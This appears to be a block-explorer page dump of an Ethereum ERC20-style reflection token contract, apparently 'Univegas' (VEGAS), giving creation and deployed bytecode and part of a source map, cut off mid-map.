7610fcc565b6106d160006110ea565b565b6106db610fcc565b601455565b6010546001600160a01b0316336001600160a01b0316148061071557506011546001600160a01b0316336001600160a01b0316145b61071e57600080fd5b61060b8161113a565b61072f610fcc565b60138054911515600160a01b0260ff60a01b19909216919091179055565b610755610fcc565b601655565b610762610fcc565b600793909355600991909155600855600a55565b60006105ba338484610a7b565b61078b610fcc565b60005b818110156107fd576001600f60008585858181106107ae576107ae611a62565b90506020020160208101906107c391906118f8565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055806107f581611a8e565b91505061078e565b505050565b61080a610fcc565b60005b8281101561087b57816004600086868581811061082c5761082c611a62565b905060200201602081019061084191906118f8565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790558061087381611a8e565b91505061080d565b50505050565b610889610fcc565b601555565b610896610fcc565b6001600160a01b0381166109005760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b61060b816110ea565b6001600160a01b03831661096b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016108f7565b6001600160a01b0382166109cc5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016108f7565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6011546040516001600160a01b03909116908290600081818185875af1925050503d806000811461087b576040519150601f19603f3d011682016040523d82523d6000602084013e61087b565b6001600160a01b038316610adf5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016108f7565b6001600160a01b038216610b415760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016108f7565b60008111610ba35760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016108f7565b6000546001600160a01b03848116911614801590610bcf57506000546001600160a01b03838116911614155b8015610bf457506001600160a01b0383166000908152600f602052604090205460ff16155b8015610c1957506001600160a01b0382166000908152600f602052604090205460ff16155b15610e8b57601354600160a01b900460ff16610cbd576001600160a01b0383166000908152600f602052604090205460ff16610cbd5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016108f7565b601454811115610d0f5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016108f7565b6013546001600160a01b03838116911614610d945760155481610d318461069d565b610d3b9190611aa7565b10610d945760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016108f7565b6000610d9f3061069d565b601654601454919250821015908210610db85760145491505b808015610dcf5750601354600160a81b900460ff16155b8015610de957506013546001600160a01b03868116911614155b8015610dfe5750601354600160b81b900460ff165b8015610e2357506001600160a01b03851660009081526004602052604090205460ff16155b8015610e4857506001600160a01b03841660009081526004602052604090205460ff16155b15610e88576013805460ff60b01b1916600160b01b179055610e698261113a565b6013805460ff60b01b19169055478015610e8657610e8647610a2e565b505b50505b6001600160a01b03831660009081526004602052604090205460019060ff1680610ecd57506001600160a01b03831660009081526004602052604090205460ff165b80610eff57506013546001600160a01b03858116911614801590610eff57506013546001600160a01b03848116911614155b15610f0c57506000610f86565b6013546001600160a01b038581169116148015610f3757506012546001600160a01b03848116911614155b15610f4957600754600b55600854600c555b6013546001600160a01b038481169116148015610f7457506012546001600160a01b03858116911614155b15610f8657600954600b55600a54600c555b61087b848484846112bc565b60008184841115610fb65760405162461bcd60e51b81526004016108f791906117df565b506000610fc38486611aba565b95945050505050565b6000546001600160a01b031633146106d15760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016108f7565b600060055482111561108d5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016108f7565b60006110976112ea565b601354909150600160b01b900460ff161580156110bd5750601354600160a81b900460ff165b6110d0576110cb838261130d565b6110e3565b6110e366038d7ea4c680006103e8611acd565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6013805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061118257611182611a62565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156111db573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111ff9190611ae4565b8160018151811061121257611212611a62565b6001600160a01b0392831660209182029290920101526012546112389130911684610909565b6012546001600160a01b031663791ac9478360008430611259426078611aa7565b6040518663ffffffff1660e01b8152600401611279959493929190611b01565b600060405180830381600087803b15801561129357600080fd5b505af11580156112a7573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b806112c9576112c961134f565b6112d484848461137d565b8061087b5761087b600d54600b55600e54600c55565b60008060006112f76114e0565b9092509050611306828261130d565b9250505090565b60006110e383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061151e565b600b5415801561135f5750600c54155b1561136657565b600b8054600d55600c8054600e5560009182905555565b601354600160a81b900460ff16158061139f5750601354600160b01b900460ff165b1561149b576000806000806000806113b68761154c565b6001600160a01b038f16600090815260016020526040902054959b509399509197509550935091506113e890876115a9565b6001600160a01b03808b1660009081526001602052604080822093909355908a168152205461141790866115eb565b6001600160a01b0389166000908152600160205260409020556114398161164a565b6114438483611694565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161148891815260200190565b60405180910390a3505050505050505050565b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610a2191815260200190565b600554600090819066038d7ea4c680006114fa828261130d565b8210156115155750506005549266038d7ea4c6800092509050565b90939092509050565b6000818361153f5760405162461bcd60e51b81526004016108f791906117df565b506000610fc38486611b72565b60008060008060008060008060006115698a600b54600c546116b8565b92509250925060006115796112ea565b9050600080600061158c8e87878761170d565b919e509c509a509598509396509194505050505091939550919395565b60006110e383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f92565b6000806115f88385611aa7565b9050838110156110e35760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016108f7565b60006116546112ea565b90506000611662838361175d565b3060009081526001602052604090205490915061167f90826115eb565b30600090815260016020526040902055505050565b6005546116a190836115a9565b6005556006546116b190826115eb565b6006555050565b60008080806116d260646116cc898961175d565b9061130d565b905060006116e560646116cc8a8961175d565b905060006116fd826116f78b866115a9565b906115a9565b9992985090965090945050505050565b600080808061171c888661175d565b9050600061172a888761175d565b90506000611738888861175d565b9050600061174a826116f786866115a9565b939b939a50919850919650505050505050565b60008260000361176f575060006105be565b600061177b8385611acd565b9050826117888583611b72565b146110e35760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016108f7565b600060208083528351808285015260005b8181101561180c578581018301518582016040015282016117f0565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461060b57600080fd5b6000806040838503121561185557600080fd5b82356118608161182d565b946020939093013593505050565b60006020828403121561188057600080fd5b5035919050565b60008060006060848603121561189c57600080fd5b83356118a78161182d565b925060208401356118b78161182d565b929592945050506040919091013590565b803580151581146118d857600080fd5b919050565b6000602082840312156118ef57600080fd5b6110e3826118c8565b60006020828403121561190a57600080fd5b81356110e38161182d565b6000806000806080858703121561192b57600080fd5b5050823594602084013594506040840135936060013592509050565b60008083601f84011261195957600080fd5b50813567ffffffffffffffff81111561197157600080fd5b6020830191508360208260051b850101111561198c57600080fd5b9250929050565b600080602083850312156119a657600080fd5b823567ffffffffffffffff8111156119bd57600080fd5b6119c985828601611947565b90969095509350505050565b6000806000604084860312156119ea57600080fd5b833567ffffffffffffffff811115611a0157600080fd5b611a0d86828701611947565b9094509250611a209050602085016118c8565b90509250925092565b60008060408385031215611a3c57600080fd5b8235611a478161182d565b91506020830135611a578161182d565b809150509250929050565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611aa057611aa0611a78565b5060010190565b808201808211156105be576105be611a78565b818103818111156105be576105be611a78565b80820281158282048414176105be576105be611a78565b600060208284031215611af657600080fd5b81516110e38161182d565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611b515784516001600160a01b031683529383019391830191600101611b2c565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611b8f57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200f7afdf28ec7fa8914975a2eed512fd4ab5b29b10502cb59a3e0fe6e8ca823ca64736f6c63430008110033

Deployed Bytecode

0x6080604052600436106101bb5760003560e01c8063881dce60116100ec578063a9059cbb1161008a578063c492f04611610064578063c492f04614610507578063dd62ed3e14610527578063ea1644d51461056d578063f2fde38b1461058d57600080fd5b8063a9059cbb14610497578063b5a65223146104b7578063bdd795ef146104d757600080fd5b80638f9a55c0116100c65780638f9a55c01461041357806395d89b411461042957806398a5c31514610457578063a2a957bb1461047757600080fd5b8063881dce60146103b55780638da5cb5b146103d55780638f70ccf7146103f357600080fd5b8063313ce5671161015957806370a082311161013357806370a082311461034a578063715018a61461036a57806374010ece1461037f5780637d1db4a51461039f57600080fd5b8063313ce567146102ee57806349bd5a5e1461030a5780636d8aa8f81461032a57600080fd5b806318160ddd1161019557806318160ddd146102725780631ad34a4f1461029657806323b872dd146102b85780632fd689e3146102d857600080fd5b806306fdde03146101c7578063095ea7b31461020a5780631694505e1461023a57600080fd5b366101c257005b600080fd5b3480156101d357600080fd5b50604080518082019091526008815267556e69766567617360c01b60208201525b60405161020191906117df565b60405180910390f35b34801561021657600080fd5b5061022a610225366004611842565b6105ad565b6040519015158152602001610201565b34801561024657600080fd5b5060125461025a906001600160a01b031681565b6040516001600160a01b039091168152602001610201565b34801561027e57600080fd5b5066038d7ea4c680005b604051908152602001610201565b3480156102a257600080fd5b506102b66102b136600461186e565b6105c4565b005b3480156102c457600080fd5b5061022a6102d3366004611887565b61060e565b3480156102e457600080fd5b5061028860165481565b3480156102fa57600080fd5b5060405160098152602001610201565b34801561031657600080fd5b5060135461025a906001600160a01b031681565b34801561033657600080fd5b506102b66103453660046118dd565b610677565b34801561035657600080fd5b506102886103653660046118f8565b61069d565b34801561037657600080fd5b506102b66106bf565b34801561038b57600080fd5b506102b661039a36600461186e565b6106d3565b3480156103ab57600080fd5b5061028860145481565b3480156103c157600080fd5b506102b66103d036600461186e565b6106e0565b3480156103e157600080fd5b506000546001600160a01b031661025a565b3480156103ff57600080fd5b506102b661040e3660046118dd565b610727565b34801561041f57600080fd5b5061028860155481565b34801561043557600080fd5b50604080518082019091526005815264564547415360d81b60208201526101f4565b34801561046357600080fd5b506102b661047236600461186e565b61074d565b34801561048357600080fd5b506102b6610492366004611915565b61075a565b3480156104a357600080fd5b5061022a6104b2366004611842565b610776565b3480156104c357600080fd5b506102b66104d2366004611993565b610783565b3480156104e357600080fd5b5061022a6104f23660046118f8565b600f6020526000908152604090205460ff1681565b34801561051357600080fd5b506102b66105223660046119d5565b610802565b34801561053357600080fd5b50610288610542366004611a29565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561057957600080fd5b506102b661058836600461186e565b610881565b34801561059957600080fd5b506102b66105a83660046118f8565b61088e565b60006105ba338484610909565b5060015b92915050565b6010546001600160a01b0316336001600160a01b031614806105f957506011546001600160a01b0316336001600160a01b0316145b61060257600080fd5b61060b81610a2e565b50565b600061061b848484610a7b565b61066d843361066885604051806060016040528060288152602001611b95602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610f92565b610909565b5060019392505050565b61067f610fcc565b60138054911515600160b81b0260ff60b81b19909216919091179055565b6001600160a01b0381166000908152600160205260408120546105be90611026565b6106c7610fcc565b6106d160006110ea565b565b6106db610fcc565b601455565b6010546001600160a01b0316336001600160a01b0316148061071557506011546001600160a01b0316336001600160a01b0316145b61071e57600080fd5b61060b8161113a565b61072f610fcc565b60138054911515600160a01b0260ff60a01b19909216919091179055565b610755610fcc565b601655565b610762610fcc565b600793909355600991909155600855600a55565b60006105ba338484610a7b565b61078b610fcc565b60005b818110156107fd576001600f60008585858181106107ae576107ae611a62565b90506020020160208101906107c391906118f8565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055806107f581611a8e565b91505061078e565b505050565b61080a610fcc565b60005b8281101561087b57816004600086868581811061082c5761082c611a62565b905060200201602081019061084191906118f8565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790558061087381611a8e565b91505061080d565b50505050565b610889610fcc565b601555565b610896610fcc565b6001600160a01b0381166109005760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b61060b816110ea565b6001600160a01b03831661096b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016108f7565b6001600160a01b0382166109cc5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016108f7565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6011546040516001600160a01b03909116908290600081818185875af1925050503d806000811461087b576040519150601f19603f3d011682016040523d82523d6000602084013e61087b565b6001600160a01b038316610adf5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016108f7565b6001600160a01b038216610b415760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016108f7565b60008111610ba35760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016108f7565b6000546001600160a01b03848116911614801590610bcf57506000546001600160a01b03838116911614155b8015610bf457506001600160a01b0383166000908152600f602052604090205460ff16155b8015610c1957506001600160a01b0382166000908152600f602052604090205460ff16155b15610e8b57601354600160a01b900460ff16610cbd576001600160a01b0383166000908152600f602052604090205460ff16610cbd5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016108f7565b601454811115610d0f5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016108f7565b6013546001600160a01b03838116911614610d945760155481610d318461069d565b610d3b9190611aa7565b10610d945760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016108f7565b6000610d9f3061069d565b601654601454919250821015908210610db85760145491505b808015610dcf5750601354600160a81b900460ff16155b8015610de957506013546001600160a01b03868116911614155b8015610dfe5750601354600160b81b900460ff165b8015610e2357506001600160a01b03851660009081526004602052604090205460ff16155b8015610e4857506001600160a01b03841660009081526004602052604090205460ff16155b15610e88576013805460ff60b01b1916600160b01b179055610e698261113a565b6013805460ff60b01b19169055478015610e8657610e8647610a2e565b505b50505b6001600160a01b03831660009081526004602052604090205460019060ff1680610ecd57506001600160a01b03831660009081526004602052604090205460ff165b80610eff57506013546001600160a01b03858116911614801590610eff57506013546001600160a01b03848116911614155b15610f0c57506000610f86565b6013546001600160a01b038581169116148015610f3757506012546001600160a01b03848116911614155b15610f4957600754600b55600854600c555b6013546001600160a01b038481169116148015610f7457506012546001600160a01b03858116911614155b15610f8657600954600b55600a54600c555b61087b848484846112bc565b60008184841115610fb65760405162461bcd60e51b81526004016108f791906117df565b506000610fc38486611aba565b95945050505050565b6000546001600160a01b031633146106d15760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016108f7565b600060055482111561108d5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016108f7565b60006110976112ea565b601354909150600160b01b900460ff161580156110bd5750601354600160a81b900460ff165b6110d0576110cb838261130d565b6110e3565b6110e366038d7ea4c680006103e8611acd565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6013805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061118257611182611a62565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156111db573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111ff9190611ae4565b8160018151811061121257611212611a62565b6001600160a01b0392831660209182029290920101526012546112389130911684610909565b6012546001600160a01b031663791ac9478360008430611259426078611aa7565b6040518663ffffffff1660e01b8152600401611279959493929190611b01565b600060405180830381600087803b15801561129357600080fd5b505af11580156112a7573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b806112c9576112c961134f565b6112d484848461137d565b8061087b5761087b600d54600b55600e54600c55565b60008060006112f76114e0565b9092509050611306828261130d565b9250505090565b60006110e383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061151e565b600b5415801561135f5750600c54155b1561136657565b600b8054600d55600c8054600e5560009182905555565b601354600160a81b900460ff16158061139f5750601354600160b01b900460ff165b1561149b576000806000806000806113b68761154c565b6001600160a01b038f16600090815260016020526040902054959b509399509197509550935091506113e890876115a9565b6001600160a01b03808b1660009081526001602052604080822093909355908a168152205461141790866115eb565b6001600160a01b0389166000908152600160205260409020556114398161164a565b6114438483611694565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161148891815260200190565b60405180910390a3505050505050505050565b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610a2191815260200190565b600554600090819066038d7ea4c680006114fa828261130d565b8210156115155750506005549266038d7ea4c6800092509050565b90939092509050565b6000818361153f5760405162461bcd60e51b81526004016108f791906117df565b506000610fc38486611b72565b60008060008060008060008060006115698a600b54600c546116b8565b92509250925060006115796112ea565b9050600080600061158c8e87878761170d565b919e509c509a509598509396509194505050505091939550919395565b60006110e383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f92565b6000806115f88385611aa7565b9050838110156110e35760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016108f7565b60006116546112ea565b90506000611662838361175d565b3060009081526001602052604090205490915061167f90826115eb565b30600090815260016020526040902055505050565b6005546116a190836115a9565b6005556006546116b190826115eb565b6006555050565b60008080806116d260646116cc898961175d565b9061130d565b905060006116e560646116cc8a8961175d565b905060006116fd826116f78b866115a9565b906115a9565b9992985090965090945050505050565b600080808061171c888661175d565b9050600061172a888761175d565b90506000611738888861175d565b9050600061174a826116f786866115a9565b939b939a50919850919650505050505050565b60008260000361176f575060006105be565b600061177b8385611acd565b9050826117888583611b72565b146110e35760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016108f7565b600060208083528351808285015260005b8181101561180c578581018301518582016040015282016117f0565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461060b57600080fd5b6000806040838503121561185557600080fd5b82356118608161182d565b946020939093013593505050565b60006020828403121561188057600080fd5b5035919050565b60008060006060848603121561189c57600080fd5b83356118a78161182d565b925060208401356118b78161182d565b929592945050506040919091013590565b803580151581146118d857600080fd5b919050565b6000602082840312156118ef57600080fd5b6110e3826118c8565b60006020828403121561190a57600080fd5b81356110e38161182d565b6000806000806080858703121561192b57600080fd5b5050823594602084013594506040840135936060013592509050565b60008083601f84011261195957600080fd5b50813567ffffffffffffffff81111561197157600080fd5b6020830191508360208260051b850101111561198c57600080fd5b9250929050565b600080602083850312156119a657600080fd5b823567ffffffffffffffff8111156119bd57600080fd5b6119c985828601611947565b90969095509350505050565b6000806000604084860312156119ea57600080fd5b833567ffffffffffffffff811115611a0157600080fd5b611a0d86828701611947565b9094509250611a209050602085016118c8565b90509250925092565b60008060408385031215611a3c57600080fd5b8235611a478161182d565b91506020830135611a578161182d565b809150509250929050565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611aa057611aa0611a78565b5060010190565b808201808211156105be576105be611a78565b818103818111156105be576105be611a78565b80820281158282048414176105be576105be611a78565b600060208284031215611af657600080fd5b81516110e38161182d565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611b515784516001600160a01b031683529383019391830191600101611b2c565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611b8f57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200f7afdf28ec7fa8914975a2eed512fd4ab5b29b10502cb59a3e0fe6e8ca823ca64736f6c63430008110033

Deployed Bytecode Sourcemap

13101:12149:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15302:83;;;;;;;;;;-1:-1:-1;15372:5:0;;;;;;;;;;;;-1:-1:-1;;;15372:5:0;;;;15302:83;;;;;;;:::i;:::-;;;;;;;;16154:161;;;;;;;;;;-1:-1:-1;16154:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;16154:161:0;1023:187:1;14304:106:0;;;;;;;;;;-1:-1:-1;14304:106:0;;;;-1:-1:-1;;;;;14304:106:0;;;;;;-1:-1:-1;;;;;1405:32:1;;;1387:51;;1375:2;1360:18;14304:106:0;1215:229:1;15579:95:0;;;;;;;;;;-1:-1:-1;13644:15:0;15579:95;;;1595:25:1;;;1583:2;1568:18;15579:95:0;1449:177:1;20720:200:0;;;;;;;;;;-1:-1:-1;20720:200:0;;;;;:::i;:::-;;:::i;:::-;;16323:313;;;;;;;;;;-1:-1:-1;16323:313:0;;;;;:::i;:::-;;:::i;14683:48::-;;;;;;;;;;;;;;;;15488:83;;;;;;;;;;-1:-1:-1;15488:83:0;;13318:1;2419:36:1;;2407:2;2392:18;15488:83:0;2277:184:1;14417:28:0;;;;;;;;;;-1:-1:-1;14417:28:0;;;;-1:-1:-1;;;;;14417:28:0;;;24465:101;;;;;;;;;;-1:-1:-1;24465:101:0;;;;;:::i;:::-;;:::i;15682:138::-;;;;;;;;;;-1:-1:-1;15682:138:0;;;;;:::i;:::-;;:::i;2803:103::-;;;;;;;;;;;;;:::i;24574:108::-;;;;;;;;;;-1:-1:-1;24574:108:0;;;;;:::i;:::-;;:::i;14581:43::-;;;;;;;;;;;;;;;;20514:198;;;;;;;;;;-1:-1:-1;20514:198:0;;;;;:::i;:::-;;:::i;2162:87::-;;;;;;;;;;-1:-1:-1;2208:7:0;2235:6;-1:-1:-1;;;;;2235:6:0;2162:87;;20405:101;;;;;;;;;;-1:-1:-1;20405:101:0;;;;;:::i;:::-;;:::i;14631:45::-;;;;;;;;;;;;;;;;15393:87;;;;;;;;;;-1:-1:-1;15465:7:0;;;;;;;;;;;;-1:-1:-1;;;15465:7:0;;;;15393:87;;24318:139;;;;;;;;;;-1:-1:-1;24318:139:0;;;;;:::i;:::-;;:::i;24019:291::-;;;;;;;;;;-1:-1:-1;24019:291:0;;;;;:::i;:::-;;:::i;15828:167::-;;;;;;;;;;-1:-1:-1;15828:167:0;;;;;:::i;:::-;;:::i;25056:191::-;;;;;;;;;;-1:-1:-1;25056:191:0;;;;;:::i;:::-;;:::i;14111:42::-;;;;;;;;;;-1:-1:-1;14111:42:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;24813:235;;;;;;;;;;-1:-1:-1;24813:235:0;;;;;:::i;:::-;;:::i;16003:143::-;;;;;;;;;;-1:-1:-1;16003:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;16111:18:0;;;16084:7;16111:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;16003:143;24690:115;;;;;;;;;;-1:-1:-1;24690:115:0;;;;;:::i;:::-;;:::i;3061:201::-;;;;;;;;;;-1:-1:-1;3061:201:0;;;;;:::i;:::-;;:::i;16154:161::-;16229:4;16246:39;951:10;16269:7;16278:6;16246:8;:39::i;:::-;-1:-1:-1;16303:4:0;16154:161;;;;;:::o;20720:200::-;20812:19;;-1:-1:-1;;;;;20812:19:0;951:10;-1:-1:-1;;;;;20796:35:0;;:72;;;-1:-1:-1;20851:17:0;;-1:-1:-1;;;;;20851:17:0;951:10;-1:-1:-1;;;;;20835:33:0;;20796:72;20788:81;;;;;;20880:32;20893:18;20880:12;:32::i;:::-;20720:200;:::o;16323:313::-;16421:4;16438:36;16448:6;16456:9;16467:6;16438:9;:36::i;:::-;16485:121;16494:6;951:10;16516:89;16554:6;16516:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;16516:19:0;;;;;;:11;:19;;;;;;;;951:10;16516:33;;;;;;;;;;:37;:89::i;:::-;16485:8;:121::i;:::-;-1:-1:-1;16624:4:0;16323:313;;;;;:::o;24465:101::-;2048:13;:11;:13::i;:::-;24532:11:::1;:26:::0;;;::::1;;-1:-1:-1::0;;;24532:26:0::1;-1:-1:-1::0;;;;24532:26:0;;::::1;::::0;;;::::1;::::0;;24465:101::o;15682:138::-;-1:-1:-1;;;;;15795:16:0;;15748:7;15795:16;;;:7;:16;;;;;;15775:37;;:19;:37::i;2803:103::-;2048:13;:11;:13::i;:::-;2868:30:::1;2895:1;2868:18;:30::i;:::-;2803:103::o:0;24574:108::-;2048:13;:11;:13::i;:::-;24648:12:::1;:26:::0;24574:108::o;20514:198::-;20603:19;;-1:-1:-1;;;;;20603:19:0;951:10;-1:-1:-1;;;;;20587:35:0;;:72;;;-1:-1:-1;20642:17:0;;-1:-1:-1;;;;;20642:17:0;951:10;-1:-1:-1;;;;;20626:33:0;;20587:72;20579:81;;;;;;20671:33;20688:15;20671:16;:33::i;20405:101::-;2048:13;:11;:13::i;:::-;20472:11:::1;:26:::0;;;::::1;;-1:-1:-1::0;;;20472:26:0::1;-1:-1:-1::0;;;;20472:26:0;;::::1;::::0;;;::::1;::::0;;20405:101::o;24318:139::-;2048:13;:11;:13::i;:::-;24409:19:::1;:40:::0;24318:139::o;24019:291::-;2048:13;:11;:13::i;:::-;24153:14:::1;:30:::0;;;;24194:15:::1;:32:::0;;;;24237:12:::1;:26:::0;24274:13:::1;:28:::0;24019:291::o;15828:167::-;15906:4;15923:42;951:10;15947:9;15958:6;15923:9;:42::i;25056:191::-;2048:13;:11;:13::i;:::-;25143:9:::1;25138:102;25158:19:::0;;::::1;25138:102;;;25224:4;25199:9;:22;25209:8;;25218:1;25209:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;25199:22:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;25199:22:0;:29;;-1:-1:-1;;25199:29:0::1;::::0;::::1;;::::0;;;::::1;::::0;;25179:3;::::1;::::0;::::1;:::i;:::-;;;;25138:102;;;;25056:191:::0;;:::o;24813:235::-;2048:13;:11;:13::i;:::-;24931:9:::1;24926:115;24946:19:::0;;::::1;24926:115;;;25021:8;24987:18;:31;25006:8;;25015:1;25006:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;24987:31:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;24987:31:0;:42;;-1:-1:-1;;24987:42:0::1;::::0;::::1;;::::0;;;::::1;::::0;;24967:3;::::1;::::0;::::1;:::i;:::-;;;;24926:115;;;;24813:235:::0;;;:::o;24690:115::-;2048:13;:11;:13::i;:::-;24767:14:::1;:30:::0;24690:115::o;3061:201::-;2048:13;:11;:13::i;:::-;-1:-1:-1;;;;;3150:22:0;::::1;3142:73;;;::::0;-1:-1:-1;;;3142:73:0;;5989:2:1;3142:73:0::1;::::0;::::1;5971:21:1::0;6028:2;6008:18;;;6001:30;6067:34;6047:18;;;6040:62;-1:-1:-1;;;6118:18:1;;;6111:36;6164:19;;3142:73:0::1;;;;;;;;;3226:28;3245:8;3226:18;:28::i;17333:335::-:0;-1:-1:-1;;;;;17426:19:0;;17418:6